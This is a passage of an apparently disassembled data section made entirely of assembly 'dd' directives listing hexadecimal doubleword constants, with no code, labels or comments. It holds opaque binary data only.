		dd 772ABE66h, 44CBB410h, 98805888h, 0BF6424h, 873E8B13h
		dd 31280DC7h, 7600A0CDh, 914CC897h, 0B8B36526h,	0B6B70171h
		dd 5087D6AEh, 5E5FE404h, 0CE0B8900h, 0FF84F371h, 3E52E098h
		dd 0F9000A60h, 2940876Eh, 12781B6Ah, 0DE8ED300h, 0A7ADE5DAh
		dd 0F4EA91h, 0AFFC22E3h, 0C4B2CB84h, 6DCF6400h,	33AD27B5h
		dd 71EA004Ah, 0E9228A86h, 0CA0048C7h, 0A1D9C931h, 30F9C6h
		dd 0AB96124h, 2CD43553h, 0DE034A00h, 0BBB072FCh, 0FC224E63h
		dd 47AE00F5h, 0EAA82D10h, 8C850015h, 929C31Eh, 281DF82Ah
		dd 0C140F914h, 8FFB2CB1h, 0C3E10574h, 0D04D9551h, 0F2A8B0C8h
		dd 851F9914h, 412581C4h, 0B6FC5421h, 0EE97000Eh, 8312C826h
		dd 3F173CB0h, 0ABA02348h, 92390073h, 9FCF07C7h,	7A006929h
		dd 89414372h, 0EDB663Ch, 0D24E48D6h, 0FA7BF020h, 140706BFh
		dd 0EBF2AD5Fh, 8CC8D4h,	60AA005Ah, 55C17E6Bh, 8E00C296h
		dd 9883E89Ah, 587C6916h, 7438BB3Ah, 68856081h, 0CBA40A70h
		dd 8042B0F0h, 0C1008A72h, 0BC04D3FEh, 3B864Dh, 0A341EC11h
		dd 0A2C096E8h, 9CE37F00h, 68A8BB49h, 0ADBF009Eh, 923BCBF9h
		dd 0D278FE44h, 0F872502Ch, 5A56D400h, 5CA3A62Ch, 7F1CB0F7h
		dd 5D9D404Bh, 0A848CF1h, 31EC6C00h, 0EDD9DDE4h,	1AF23AB2h
		dd 1C816C48h, 4C49AA3Eh, 1E04E0A8h, 0E7F11789h,	4CABE4E0h
		dd 0F4009782h, 0A0C2FF61h, 0B50B4C24h, 0FC7D9h,	0BC7079CCh
		dd 7575D4h, 7B8F0617h, 2EDABE95h, 495B7800h, 1D2F6F3Ah
		dd 3EC625F7h, 0CC006456h, 5758194h, 3847DB3h, 62129FBBh
		dd 9CB89842h, 60171A45h, 0DC00D5ECh, 0E0F49C1h,	26F057h
		dd 6DD603AEh, 83FC458Eh, 16E258h, 153575A9h, 1C280F0Bh
		dd 130AF667h, 0A900AA7Dh, 9D76A954h, 0CC70FFh, 992072Eh
		dd 0DA18F7EEh, 0E782DB00h, 0BEF8C6AAh, 7D4B0079h, 7F216468h
		dd 88C0A0EEh, 0FD8740B2h, 0FB1A00A6h, 69343275h, 5709AB17h
		dd 68D8F3h, 3713261Ch, 4A630770h, 0D05545B6h, 0E690168Ch
		dd 9ACA4909h, 4CB480F6h, 8F0477h, 6CFBB6EFh, 0CF5A4315h
		dd 0E51D1190h, 0A0019DAh, 553AB52Bh, 0F44007Fh,	706A4333h
		dd 0DB002FD2h, 0C92C3C88h, 0F8305B9h, 0D519FCC5h, 0C0019A20h
		dd 4D057DCCh, 0C7A55CFEh, 6BFD18C0h, 0BF500EA2h, 0B80B8ACh
		dd 27959B0Eh, 9EA15B00h, 52E92EABh, 1A9892h, 4721B06Bh
		dd 0D918857h, 1DF23200h, 0D4B4BEA1h, 89D6386Ah,	5790CF00h
		dd 63ACF154h, 0FF01E976h, 5C467D50h, 7B60DA7Ch,	0E387684h
		dd 0C3C4FDCBh, 0D2441A63h
		dd 0C067E6B9h, 0CA00138Ch, 0B497AB3Bh, 91D5EAh,	34362F77h
		dd 5BB1329Fh, 46D7B700h, 71768BAAh, 0F6F81D4Bh,	4008538Ch
		dd 19B6B0FCh, 3900047Bh, 0E5F02AEDh, 3BB9CFE1h,	0A7802D69h
		dd 4901F7A1h, 0F5F41B67h, 0BDBF3012h, 78B2B4C0h, 4DF40071h
		dd 5B0D2FD4h, 59044501h, 0FDED147h, 7082E082h, 9D4E1FCCh
		dd 0E084E750h, 0F7468206h, 96ED9440h, 14C5C0Fh,	6D1580F9h
		dd 39C63F8h, 9B0AC862h,	36F8D10Fh, 0A81D513Ah, 16407D3Bh
		dd 0DBDEA9D6h, 962F0046h, 7462B6BAh, 721D5B09h,	60E45426h
		dd 5E758F80h, 980D056Eh, 9E8124B3h, 7DAB04ECh, 0B43C8029h
		dd 0A6009B1Fh, 52CA0D7Bh, 9148F1h, 3FB502CFh, 0B0409386h
		dd 8EC1B300h, 9690710h,	374DFh,	41E2C2BDh, 44975A19h, 7DE11710h
		dd 37E45100h, 0FDE868AAh, 7C006372h, 0F43F16A4h, 73A92781h
		dd 0D6050B6Dh, 0B4F60B8Bh, 57012B03h, 2AB9D09Eh, 2DE80263h
		dd 4EF80742h, 982C80C0h, 0B8D9B824h, 9F673BBFh,	57009053h
		dd 51694F11h, 35101E61h, 0EA1CC191h, 0D94A7B81h, 325C20B3h
		dd 2D80F50Eh, 0A01E00A2h, 0FC63F73h, 8E583D16h,	300FAF2h
		dd 4BF2D56Dh, 14FD0010h, 631E0564h, 0D4A03DC1h,	0EA7686DAh
		dd 0D61B6100h, 0E3CB097Dh, 0EFCE5060h, 5210051h, 624ABD14h
		dd 7A0531A3h, 0C9679913h, 0C3D7A080h, 0F68700DDh, 0BD727DCFh
		dd 0A10E76D2h, 410AB4E6h, 7CEAE48Bh, 9E37FCh, 9D8A7769h
		dd 40422925h, 9A4CFD1Eh, 0B80A6B40h, 36AA2Ah, 0C4B34EC8h
		dd 79846263h, 0A42E8200h, 0A94890EFh, 13609029h, 1753857h
		dd 0ED852A6Bh, 3244702Bh, 0A2807C1Ch, 0AE96F8E4h, 0B8DEE863h
		dd 40C01E9h, 0ABDDEF22h, 34089019h, 0FC00E132h,	2073971Eh
		dd 33FAF9h, 0F7C30B06h,	0CDA414FFh, 0F0BB6502h,	0C8D80E44h
		dd 276AD64h, 0C09178EDh, 0A84142CEh, 0E447E8h, 2A85795Eh
		dd 8215BBA0h, 22041C00h, 0E293E5DCh, 0ACCF0599h, 903980F2h
		dd 0BBF8A040h, 0B403C00h, 96E3877Eh, 0E0FA3C24h, 2200D1CCh
		dd 0E87C53A0h, 0EEC7994h, 0B37DDA03h, 0D0BB71FBh, 9441244Ch
		dd 0B60240F0h, 0FA00CE0Fh, 0A347A0C1h, 743E2FCCh, 92AD00E2h
		dd 81B660CBh, 45053111h, 622CF94Ch, 5E8C3CB0h, 325000F7h
		dd 80A2E721h, 3D1E9300h, 943FD4E9h, 44ECB5h, 0ADF8FECBh
		dd 729E9CA1h, 0B8FDD0DFh, 1DB87CF9h, 5BF4F300h,	0B90BD2CAh
		dd 9F8F01C8h, 0CC60CD7Ch, 2B1080BBh, 6977C279h,	70020015h
		dd 0CB78A195h, 8E0005AFh, 541429CAh, 79DE838Ah,	501F1DF4h
		dd 0C3A24776h, 446770F9h, 0DF00237Dh, 41F8743Bh, 8B5ACFh
		dd 70FD7BEDh, 0D5F213CBh, 0B0128400h, 1060C286h, 9BFA0FB9h
		dd 0BDA00358h, 9D91E80Bh, 9A343Ch, 59E5F31h, 16DAEEA3h
		dd 0E715C9h, 0CD7D8D00h, 0CF0ED378h, 80F127AFh,	4A139DD6h
		dd 0EEDC019Fh, 0B49BDB85h, 0E4722Eh, 0BD161228h, 302D72h
		dd 0B3DAE9EFh, 0D44A5A7Eh, 8A752100h, 435CC2AAh, 773F002Ch
		dd 0EAC632FCh, 0AE0E3DD6h, 0E020B19Dh, 0A07ABD0Eh, 22860243h
		dd 0ABE781B4h, 0A002070h, 0F824EBA3h, 0A030BCD6h, 86958Ch
		dd 0D9CEF09Eh, 0FE79DFDEh, 0BBAA9900h, 7CB6FA76h, 9D680030h
		dd 0C45CF2F6h, 8679194Ch, 178A1F00h, 8D5B0A69h,	5098CFh
		dd 0CA71E73Fh, 55136401h, 80C33438h, 0FA16099h,	1BAF40h
		dd 0CD7BC079h, 204CDF57h, 9F3ED93Ah, 3283785Bh,	98DE3451h
		dd 63CE3Fh, 0D491E287h,	3B064B0Ch, 23F1DD07h, 2AA54CE9h
		dd 0A26028C1h, 1ADC6D0h, 0F2D0A3CFh, 0CAD352D1h, 0C1DECE0h
		dd 41237B00h, 3F9C03D6h, 0BC75508Ch, 283958BAh,	3B05B508h
		dd 694DB80h, 2E7E0D70h,	80E46CDAh, 0EA88B025h, 6B003556h
		dd 6D392F8Bh, 1917B75h,	7A2E12Eh, 0C0CBCF31h, 0A809AD84h
		dd 0D2BB6Eh, 0D067FFA6h, 0D3CA0F52h, 9D4E8E64h,	774B822h
		dd 0AB6964C0h, 81D2270Eh, 0DF70C2C3h, 1C186889h, 0C2040103h
		dd 33B8F392h, 7CA02C0Bh, 1039071h, 9514A0F8h, 670C002Eh
		dd 2BF1B081h, 54009759h, 685BB617h, 1D3F718h, 0EAE6A272h
		dd 0DCF53BACh, 8F00E8B0h, 164DF0CBh, 7B07D2h, 9CF2C9D0h
		dd 0AB61AA0Dh, 47270917h, 59001216h, 0D01F550Bh, 2C1C04EAh
		dd 812FF7BAh, 20A565C0h, 9F01C358h, 7CFB9944h, 4EFC4AACh
		dd 87AB07CAh, 0FF619ABBh, 7873E0Bh, 9286A0A0h, 0C2037F8Dh
		dd 5D0A236Ah, 0EFC8E06Eh, 0B9C53E61h, 17183980h, 95167A72h
		dd 0DB5CFF0Fh, 6319604Bh, 76D0626h, 5DC5E9CCh, 838DB09Bh
		dd 22002A7Eh, 0E669F394h, 1882BDh, 0BE62AE74h, 8F880E06h
		dd 1DEFC300h, 4F667CDCh, 0FBF6C8h, 0D4F034CCh, 0ADEDB69Bh
		dd 0DCF93C00h, 26C05B8Ch, 0DDB4027Fh, 0F2580A54h, 74571240h
		dd 0DA236601h, 0EC6524Eh, 5EC47ECDh, 4A4C00E5h,	0E38D0F82h
		dd 0BC0066F0h, 312C8EB4h, 0EEDBDA5h, 0D63A246Bh, 73830FA0h
		dd 0D8E25E43h, 0DF8AC500h, 959DC22Dh, 77960774h, 974E51FFh
		dd 0CB605017h, 700A5B0h, 96D6E4C1h, 28DA686h, 65E1ED46h
		dd 42E218B7h, 78EED680h, 810034C7h, 0F8BF06EBh,	0C64273h
		dd 4853AF4Fh, 17016A6Bh, 7FE71A00h, 0C3BA90F2h,	945E00E4h
		dd 1B2DAF5Ah, 7400D2FCh, 8E639901h, 4C7F7Ch, 0EAB2DBE6h
		dd 0A8FF0669h, 56D16700h, 494E19B4h, 781E038h, 0C8B51E60h
		dd 0C034E477h, 0DB545D97h, 7B48891Dh, 3EFD3740h, 906CDCh
		dd 593A781Dh, 285C014Fh, 0B4393D00h, 8C0A5822h,	0FFED00FCh
		dd 0ABFD8612h, 8948EB66h, 0F3AE000Ch, 1928849Ah, 67FE0059h
		dd 5B4EA252h, 0D774D66Eh, 8AB47100h, 0DD15FF3Ch, 0CC391FC4h
		dd 0E282006Bh, 354F95FCh, 551D9C00h, 0C35CF31Eh, 0AAE939B3h
		dd 0C1AB00F2h, 0BA265032h, 0A10010F8h, 97537A9Eh, 9022D2h
		dd 0A4558229h, 0DB6C9928h, 0DE5D8412h, 91532000h, 0A7AE10h
		dd 0BCB1E679h, 5FCDBFF8h, 0CE6DD400h, 3AB78E9h,	79BB2629h
		dd 0D0E719A8h, 5974C853h, 7DA0BF00h, 88A4C775h,	99EC00C3h
		dd 66291351h, 0B4FEF79Eh, 1F146202h, 0E0955360h, 0D1D899h
		dd 684D1C32h, 2DCD37BAh, 521FEF7Ch, 0BF40C4C9h,	9DAD4ED8h
		dd 45CB0088h, 0F8501639h, 36009F94h, 0B610B22Ch, 0C9889h
		dd 8E309747h, 9CE1246Eh, 1657870Eh, 20226F46h, 2276C0Dh
		dd 5DE70013h, 1DB2E3EAh, 4AF6494Dh, 2AA59600h, 0F429D268h
		dd 397F9Eh, 53C71E47h, 0E7D764BFh, 372EFF7Ah, 5414245Fh
		dd 0C90A009Ch, 35D1A7B0h, 0D6550EB8h, 3F220D8Dh, 61FEBDAFh
		dd 45DF5100h, 0B08F59h,	70E26328h, 0E5544D09h, 1E2C68C0h
		dd 3EB9179Ah, 8580E44Fh, 27131DEAh, 9C77CE5Bh, 0DCFEA900h
		dd 425D9B94h, 35D90030h, 34685425h, 0BF7E0B72h,	0BC525B00h
		dd 0B54EA44Fh, 466600FCh, 0B8CD5ADBh, 860073ABh, 5DA65B8Dh
		dd 3B693303h, 9587DF53h, 0D0153291h, 9B0E6B9Eh,	270FD478h
		dd 208CAC60h, 5541E28Ah, 518D00A0h, 0D57714E6h,	100B3C7h
		dd 62D25CCDh, 503C53h, 782118D8h, 0D59E7DC9h, 4037FB00h
		dd 31F5B628h, 72A30055h, 0B0A19FD1h, 60E1C5B9h,	0E70095C3h
		dd 0BF4571BCh, 38ABB2h,	0DDB3BAC2h, 0B0D19470h,	0BDE42F07h
		dd 7C0773Dh, 708208Dh, 0B671C6DCh, 513B40D6h, 647E1C24h
		dd 0B00093E8h, 0A4220E1h, 1E6ACEh, 0FC13E2EFh, 77DCD19Ah
		dd 10016100h, 0FEDF27C0h, 422A00C9h, 0FA1788FDh, 0E490BF6Fh
		dd 0E3F4A800h, 93B2BB41h, 0EBC401ECh, 546BA788h, 582FC4C6h
		dd 7D117700h
		dd 0F5A95AD4h, 1F75D2h,	60EAB5B3h, 4A0118FFh, 0DF507C00h
		dd 6E65CB67h, 944D4C4Fh, 4EE22207h, 33019F51h, 70F80FDDh
		dd 58009D16h, 18B962ADh, 8F1B0Eh, 0D69C796Bh, 0FF811AEEh
		dd 5591C400h, 0D0EA0D6Eh, 0CEAD007Bh, 4CC66571h, 1A000480h
		dd 62F40CE2h, 6A879Fh, 0D09BC28Ch, 6B92FB01h, 13746E00h
		dd 0EBDD14C5h, 0AEB9001Dh, 0BE1E4F4Dh, 0D67C0D41h, 0D97D6B02h
		dd 0C0BFA1DBh, 5855E3h,	0EFCC70D5h, 503A9BDh, 8BC7660Bh
		dd 0BF3E8136h, 9020276Ah, 0A3F11C49h, 0C9F38029h, 9D10B9B8h
		dd 57617407h, 0DBB0A2BDh, 3CC4352Fh, 8E805DEFh,	8AFF2962h
		dd 0A8009431h, 0FB14FA0Eh, 0B781DAh, 0A491BFD0h, 1DB4C308h
		dd 8D75B26h, 7B47FE00h,	4FAF7DEAh, 0FFBC0Ch, 5A69E35Eh
		dd 125073h, 0B5092991h,	2CF9387Eh, 6DBB2700h, 0D1B336FDh
		dd 90080148h, 20074B70h, 1E96E412h, 149CBA00h, 94D632C6h
		dd 985000B5h, 80E29E7Ch, 261997E1h, 772067C1h, 7A3E1080h
		dd 0ECC471CDh, 5D9198C7h, 40A8F840h, 8F163C2h, 6E00E7DFh
		dd 4F3EF6FFh, 7E5737Ah,	0EE6934C5h, 399312B3h, 502B0CA7h
		dd 4AADD5C4h, 0F3DEFF03h, 0B7EC2AC2h, 27B900DEh, 0B3B670h
		dd 38DBC5A8h, 18A4568Fh, 48D4A30Ah, 80BD905Eh, 0ED33A74Fh
		dd 187A6D1Fh, 11AE15B2h, 0C00012D5h, 0C88C8DCh,	0F97A96FEh
		dd 5155388Ah, 58D50FEDh, 0E7110200h, 2B007010h,	0DF2EA79Dh
		dd 72EBE886h, 6BC126AAh, 0FF0F00DAh, 739C1450h,	0EF214A1Dh
		dd 37DA6580h, 8A005h, 0BE966CB1h, 6E1BE397h, 0A7307F00h
		dd 0B61471FDh, 0DEDA00D4h, 61F5E063h, 7400C8ECh, 67C3CBE3h
		dd 0CD2C9FBh, 0BE6A713Bh, 9900EDDEh, 4BBC42Dh, 2956A2h
		dd 0C9A51506h, 90749332h, 7594AE00h, 591D3366h,	0EB98172Eh
		dd 45350BF6h, 0C223C00h, 0AD005BB9h, 0CA862608h, 0F05CE748h
		dd 34E02EBh, 0D8D945E5h, 5FAE88A0h, 0A709268h, 0E4E83700h
		dd 2B176E96h, 4DC507DCh, 502428A5h, 8EDA4153h, 3021000h
		dd 0FF393283h, 885002F2h, 0CFB22FE0h, 109A3AC3h, 15A27EC0h
		dd 896EFD1Fh, 3704803Eh, 0AD7F9C0Eh, 0D9403905h, 481F1E00h
		dd 5E6A27A4h, 1408315Ch, 0FCECA5h, 2144E5C0h, 9BACFAh
		dd 0E904B4B0h, 46A666C2h, 71BD0600h, 0C239034h,	0E16301ADh
		dd 9445C6FFh, 3AB2F835h, 28103E00h, 0D94F111Fh,	135B7993h
		dd 0D252F1h, 1609C1FBh,	760F483h, 5B89C478h, 98187BF8h
		dd 49F304FCh, 80B8C835h, 37716E94h, 87FD9500h, 782798FFh
		dd 44CB4910h, 0FCC1500h, 657C5A39h, 69266DF2h, 4D007DFFh
		dd 0D2257772h, 0FA180B38h, 180B354h, 31ACB760h,	463BF700h
		dd 0AB3CB437h, 66B20392h, 7F199742h, 0B88FAEF0h, 8410820Eh
		dd 0E95B8048h, 4D215Ch,	62DCFFF6h, 0F7838B5Ah, 8166C407h
		dd 3940AC1Ch, 7C57E7Dh,	907684BFh, 36A1B088h, 6706EBBAh
		dd 0D510B165h, 0E2571AB8h, 61E0C3h, 8F15ECBFh, 0B550F407h
		dd 0C43A30DCh, 0B8A9C707h, 35D8C9F0h, 5A560C6Ch, 0DA38B7AAh
		dd 5C288800h, 2D6BAF48h, 0A0720167h, 40A7C7FFh,	56A3CCEEh
		dd 8C1A9760h, 276284C4h, 91F82723h, 7DA24B00h, 0F64F82E0h
		dd 5BA40038h, 9475DCFh,	9433D1C4h, 0B887A86Dh, 0E65244h
		dd 6C8FD925h, 7835CF55h, 8354E93Bh, 0B4396D36h,	65C4F9B3h
		dd 528B2988h, 179F8900h, 173CDB63h, 0F1BD051h, 1D20F28Ah
		dd 27140C06h, 0E684DA28h, 0AF5F4800h, 0DE674E80h, 586F2672h
		dd 7B01008Fh, 0D7433EB9h, 0F57AEC71h, 76B553Dh,	0B6DE362Dh
		dd 0E9A654F0h, 931C0018h, 0B2E9C82h, 6500DB70h,	0F21ACDF7h
		dd 25C17AEh, 48AB89CEh,	8560BFD6h, 96E02E02h, 2D42BD00h
		dd 0A9A15EF4h, 93C807D8h, 0C09409D1h, 3B27FF80h, 7538B403h
		dd 0D0EBFEF2h, 244D2Ch,	7315D86Fh, 0E158DF7Ah, 8BA76C00h
		dd 5C8709A2h, 0D01D01B3h, 2DF080F3h, 5B9E0C3h, 83B18B00h
		dd 0EB1CC0B4h, 0EC2700C7h, 0DAFEE82Fh, 8217AECAh, 34016544h
		dd 0B262F258h, 1185CCh,	3B7489DDh, 0B790E236h, 0E1B31D00h
		dd 0D92012EDh, 92C710Bh, 23016BCAh, 48C01380h, 4400C6B0h
		dd 5FDF0A1h, 2C4B04A7h,	289510h, 99BB2019h, 0AA00525Dh
		dd 65378F08h, 793A9Bh, 6278DDE8h, 69E9D4Fh, 2D779407h
		dd 56508CA3h, 0EDE1F41h, 0C5AE307h, 0AF708C0h, 5E0F8BF3h
		dd 0E0F9852Bh, 16AACA32h, 7AC500DAh, 5318CBC2h,	411ED9FAh
		dd 7DC04804h, 3D4223D7h, 6D7E14D4h, 9F00ECC6h, 4587C838h
		dd 0CA0054B1h, 131D743Fh, 51435Ch, 83DB6493h, 0B415BD4Ah
		dd 0D2B2881Ch, 0DFE80BC1h, 5AF53E16h, 77EAED8h,	0DCC61983h
		dd 260F3048h, 671F8908h, 0F5C74ECCh, 7F97026Dh,	3525D8C0h
		dd 96BC0058h, 0B9535DFCh, 0BA038473h, 70B0E332h, 193CA036h
		dd 3398C0h, 218B0B64h, 335965D0h, 0E0011A00h, 0BBF6FA8Eh
		dd 0A0C007ABh, 707FD6E4h, 58A791DDh, 6201CF7Bh,	407E0EAEh
		dd 52C44E22h, 549C00E5h, 1BC896B5h, 0F90087C5h,	905F8CD9h
		dd 1F46F2C7h, 0A612F7h,	0E58D2CEEh, 0F81F0A11h,	765F2D65h
		dd 0FFF2B9C0h, 0F6CC9AFEh, 93D400D3h, 74CEC0FCh, 0FD6039F8h
		dd 8ED982B8h, 1177486h,	0F04DB6FEh, 0C8246C67h,	51007ABAh
		dd 0D5745C27h, 3A99FB66h, 0F2009362h, 0FDB152CFh, 0FC004ABCh
		dd 0CB92CC59h, 76E03A6h, 70DD8B33h, 34AD6090h, 297CC73Fh
		dd 0EB024A03h, 0E8466C14h, 1833A998h, 29931018h, 0ED00A6DAh
		dd 24092B95h, 7D703032h, 1E20072h, 0DE448ECDh, 64E0486Eh
		dd 4B75AF00h, 5B2C63EBh, 16030583h, 41590DC6h, 601B9594h
		dd 9FD2F05Eh, 0CB34EF2Ch, 0EC78100h, 0A2FCD0h, 16A01E0Ah
		dd 5B9A27D1h, 0A4F58F00h, 9132F1E7h, 4828C0C8h,	2E2DCC55h
		dd 83C9753Bh, 9FE0E19Ah, 455DD87Ah, 6BF600DEh, 50A8D297h
		dd 0AD001972h, 89150A0Fh, 5B8B73h, 0CE7984DDh, 5788AB0Ch
		dd 4D2A751Ch, 0A6DBDF40h, 0E2E6BD3h, 59E1F72Bh,	690A3D60h
		dd 8D0E2285h, 80A7431Bh, 487AD4DEh, 18C50076h, 0A141DC3Ch
		dd 947B536Bh, 80F9783Bh, 8D2A5F4Dh, 3BBFE636h, 0AB80B475h
		dd 0FF030C40h, 0F1006013h, 784E8369h, 1627CAh, 0A86C02CBh
		dd 2049D35Dh, 427BAF14h, 0CD6700ACh, 24939126h,	0F47A46h
		dd 0E31F9BCAh, 96E876F6h, 0E94CE000h, 3EEAB071h, 2E2B0FC1h
		dd 0D6001D29h, 0DD9A5897h, 1EDA9D00h, 257196F8h, 3E1200A3h
		dd 818C5AF5h, 0CC007393h, 5FD03984h, 37B2DD7h, 122709B2h
		dd 4898AE05h, 5BE423BAh, 67953F1Dh, 318D8882h, 281760C0h
		dd 105807AEh, 807ADE64h, 71C34B89h, 38A97D00h, 0D909BF61h
		dd 0D34D0EADh, 0BF960F85h, 0C8724C00h, 4C34188Bh, 133EC6E8h
		dd 41941180h, 0DE9AAE83h, 3FF7670Fh, 0B5B2006Dh, 0FAA926h
		dd 8AC7D11Ch, 98BFC631h, 773E2200h, 947F326Fh, 164B026Bh
		dd 7278CCE8h, 40DD49E1h, 448FDE1h, 5FD738h, 55ADD5DFh
		dd 0F0F6CEh, 0A4529046h, 0A61048A2h, 6D341300h,	0E35DBB75h
		dd 0B9AA004Ch, 49F6F0EEh, 7705FDF4h, 3A346E30h,	456144C0h
		dd 74CC00BDh, 0EFCB972Eh, 2D00C45Eh, 0ECA8DE87h, 0F85190h
		dd 48890E49h, 0B68A54E0h, 0C1597100h, 0B087255Ch, 8629007Ah
		dd 0BDF45FE9h, 0D0000299h, 23AF851Eh, 0D71424h,	0F31FCAC6h
		dd 8963C32Eh, 0C9612100h, 0E2B45945h, 0A84C0FD9h, 9520EE71h
		dd 5D019422h, 3F00497Dh, 8AEC340Eh, 3C6AC4h, 7C8D28C2h
		dd 92BEBCC6h, 0BB2BFF00h
		dd 9D8326E8h, 71840B02h, 4D542E15h, 74CBB301h, 0F5EC5128h
		dd 121F00B7h, 0DF3E251Eh, 76E82E3Dh, 15562301h,	5D53301Dh
		dd 3E07ACD0h, 0DC1F772Ah, 0DF19000Bh, 3155BF8Ch, 605231CEh
		dd 4497C591h, 0F7CB0015h, 0DE563D3Ch, 0A707A3C3h, 89994D16h
		dd 2D4C680h, 518D60F8h,	5FA71D43h, 897D8A30h, 418CC509h
		dd 6A65E0ABh, 0D640A901h, 0A3CB37BEh, 85291440h, 5231007Bh
		dd 2E9F10D7h, 0B014DB3Fh, 28C49E49h, 77009CC8h,	0B5721746h
		dd 732D1Ah, 31024782h, 0A5DB55E6h, 9FCD7803h, 90AF5E77h
		dd 18B20C0h, 473C383Fh,	0C103D852h, 0A195C432h,	0BF680103h
		dd 8BFAD67Fh, 0E02FF310h, 4D9274h, 0CDDB06A2h, 6BEB7FB1h
		dd 8336B63Ah, 0C55BC91Dh, 0C41E0315h, 29A4DC24h, 0AF76C019h
		dd 5FE4CF30h, 0E6F40ACEh, 80F8ED81h, 8024F79Ch,	367041ADh
		dd 0A6D93E05h, 9C060174h, 29F3FCh, 0B7E3CDDAh, 0E89D557Fh
		dd 0DD82680Fh, 15E00035h, 20C786h, 81C64D7Ah, 2619B3CDh
		dd 7762BA00h, 6B9E31A5h, 0AF01009Ch, 8A6A2E39h,	0A0510BFh
		dd 0E908F375h, 8FE0D1C7h, 26A3EF76h, 70A871h, 520B9420h
		dd 0EC03EA44h, 0F05C80BEh, 8648389Dh, 0A4800E3Eh, 8C6FAEBCh
		dd 3A0F39BDh, 5C933C26h, 996AEBC0h, 1843669h, 0C4F5B63Dh
		dd 8E618BA3h, 40406574h, 4C459311h, 0D63B00F4h,	5CA86778h
		dd 3200C8E5h, 0E0B6CC2h, 34CE76Ah, 0EA5620DAh, 2DA8B0B3h
		dd 6B0168F0h, 0B8BF6C0Bh, 0DDD47FCAh, 362700CDh, 1D4B3D7Eh
		dd 0FB00D964h, 844071B0h, 0BC0288h, 0B6AC358h, 0BF12A22Eh
		dd 321303Ah, 0B37C34A5h, 0F68BA3A1h, 565F2820h,	2A7B0093h
		dd 0DCFDDF2h, 0AE00A037h, 19FDC5F1h, 0E41662BCh, 85593E6Bh
		dd 0B83854B6h, 5631AB1Ch, 4AF47EC0h, 0C76E47Ah,	855872E2h
		dd 481E0120h, 8001E72Fh, 909B038Ch, 0E9BCADF0h,	7297F400h
		dd 20D39800h, 2FA46A59h, 0EAFF8B8h, 0A0D802BCh,	714EEA06h
		dd 64965500h, 5E586387h, 11F319D3h, 0B132A035h,	5DABA091h
		dd 1A2FF00Dh, 185C7C23h, 26AA818Ch, 0F8E02F0Fh,	640887EEh
		dd 3A40CC20h, 54D93F2Bh, 29314A80h, 65940582h, 0D833EC2Ah
		dd 4E0CC401h, 376E5780h, 0DE5001D3h, 0B3AF2A3Dh, 0DF006A96h
		dd 56AD0E81h, 1C42B844h, 0C67EC2C1h, 482D4963h,	3F4BAE00h
		dd 0CB642276h, 9B7647h,	845998CDh, 3BEDF315h, 0B0BC2800h
		dd 7F83A790h, 1F0C08Fh,	5CC53411h, 36151E00h, 836F3D0Eh
		dd 462E0051h, 4B18FECAh, 0E87DA539h, 4D009D7Eh,	0E3EB1C20h
		dd 2E60639Ch, 3DD46C8Eh, 0C702C100h, 3001345Bh,	0FC58C500h
		dd 7CE14286h, 5FB50056h, 1BF96047h, 0BBA03B2Eh,	0AC1687DBh
		dd 23035488h, 0F939A09Fh, 3A30F6F4h, 39BAF879h,	0F2FC6Fh
		dd 0F29C3B34h, 6B5A5142h, 0D6F3B21Ch, 68A707B8h, 0ADA02306h
		dd 17D9C6E1h, 0CB6C96h,	0A52FFD25h, 1D184D35h, 49291814h
		dd 0BBB00E7h, 0DC609DC2h, 0BF1C65FBh, 5A0044BEh, 45EFA0D2h
		dd 311360CEh, 850A7176h, 770061EEh, 0E4093B31h,	0B9E23Ah
		dd 5B118BBBh, 102FA796h, 876B1C00h, 4A203E59h, 91C00C80h
		dd 2E14B9D5h, 0C8EE7DECh, 61AFD100h, 1542C203h,	38E06727h
		dd 0A3B96766h, 0D9B01DEEh, 8E03045Bh, 57346358h, 7DB08BCEh
		dd 0C6C00390h, 0FB361F62h, 0B740B8A8h, 4D3D5973h, 0E6E80285h
		dd 0E03DE266h, 74271E58h, 0DD010180h, 8AB1B587h, 0A8B02BD6h
		dd 9E0503FBh, 0CFB8729Ch, 9809C3E0h, 0D32FFF00h, 7C555DC0h
		dd 9FC23D61h, 2E92D780h, 0DF568B6Dh, 33F0E107h,	910002ECh
		dd 0F66CF8E5h, 0E1A758A6h, 0C8400E7Dh, 7503EDBCh, 6EE9581Fh
		dd 4E9EC450h, 0EC8F7400h, 12179373h, 9B5F0187h,	0F38C39B1h
		dd 7150872Ah, 2F803B50h, 0E8970Fh, 71F8390h, 46C58FF1h
		dd 35A71301h, 8D9B25B4h, 97D3F340h, 0B5510068h,	64ACE0CEh
		dd 0B87DB4F3h, 0E5F92100h, 0FD8C46Ah, 0D9E43Ch,	0F5EFCCA7h
		dd 0D72433CDh, 0D118A098h, 96C09847h, 27B05C81h, 3116A600h
		dd 0B44E7FF3h, 0A7F93207h, 0EA66A4F7h, 6CF60018h, 374A72BCh
		dd 2F03FA8Eh, 4CDCE83Ch, 27CCC0D3h, 933918E3h, 6EA7105Bh
		dd 181ECDE4h, 7441737Eh, 0F215454Bh, 7152F3C4h,	575E0106h
		dd 0A06D71DCh, 7D35D4CCh, 89F09100h, 0C90354D7h, 52C0008Ch
		dd 0E5E26417h, 1F00DD08h, 475C1213h, 45B6D5h, 0BC9DE922h
		dd 0AA2057CAh, 73ED0E1Fh, 0EED5630Ah, 97687500h, 0C6B51Ah
		dd 1399091Dh, 0BC1BAFACh, 4BA77100h, 89F19DDDh,	580A00F4h
		dd 0D7078F0Bh, 460119B6h, 4BA56FAh, 0E4419257h,	0ACC05C05h
		dd 707B1F79h, 4A2A06ABh, 0D4E06894h, 0FCDBE71Fh, 1E740C00h
		dd 21B6541h, 0C53BDD5Fh, 3DE3F947h, 151A6DC0h, 0F74C0D00h
		dd 3319BD96h, 8E7713C0h, 0D381077Dh, 0EB5200B7h, 0BB002731h
		dd 0A7AA42Eh, 177903Ch,	3A6AC5B6h, 0D8FF6219h, 75ECE1BBh
		dd 62AA402Ch, 1A4D1B00h, 9757E8h, 2816166h, 9EF51A6h, 713439h
		dd 31262D2Fh, 3E1B46A8h, 9C00EC5Dh, 13981D25h, 0E300FA4Ah
		dd 14620F93h, 40AAE9h, 0DF509CD0h, 0EC82DA98h, 0A953791Ch
		dd 0BF622069h, 0F01E2F4h, 0D5DE6020h, 12B384Ch,	0F23FEF56h
		dd 0F404E86Ah, 4900A280h, 0AC75A5DCh, 6099034Eh, 2A02481Eh
		dd 62E81C79h, 2F249F00h, 0A7C4B319h, 92453F0Ah,	0F1E85730h
